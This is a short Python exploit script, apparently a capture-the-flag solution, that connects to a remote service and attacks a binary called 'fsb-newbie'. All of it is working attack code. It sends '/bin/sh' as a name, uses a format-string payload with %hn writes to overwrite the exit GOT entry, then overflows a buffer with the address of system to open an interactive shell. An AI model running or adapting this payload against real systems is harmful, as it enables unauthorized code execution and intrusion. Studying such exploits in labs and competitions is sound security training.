import pwnbox
import struct

p = lambda x: struct.pack("<I",x)
up = lambda x: struct.unpack("<I",x)[0]

pipe = pwnbox.pipe.SocketPipe("remote.goatskin.xyz",14393)
#pipe = pwnbox.pipe.ProcessPipe("gdb ./fsb-newbie")

#pipe.write("b *0x08048599\n")
#pipe.write("r\n")

system_off = 0x0804856A
backdoor_off = 0x08048571
exit_got = 0x0804A020
name_off = 0x0804A080


pipe.read_until("name? :")
pipe.write('/bin/sh\x00\n')

pipe.read_until("server")
payload = p(exit_got)
payload += p(exit_got+2)
payload += '%34153c%4$hn%33427c%5$hn' # 16bytes
#67588

pipe.write(payload)

pipe.read_until("phase 1!")
payload = "A"*14
payload += p(system_off)
payload += p(name_off)
pipe.write(payload)

pipe.interact()
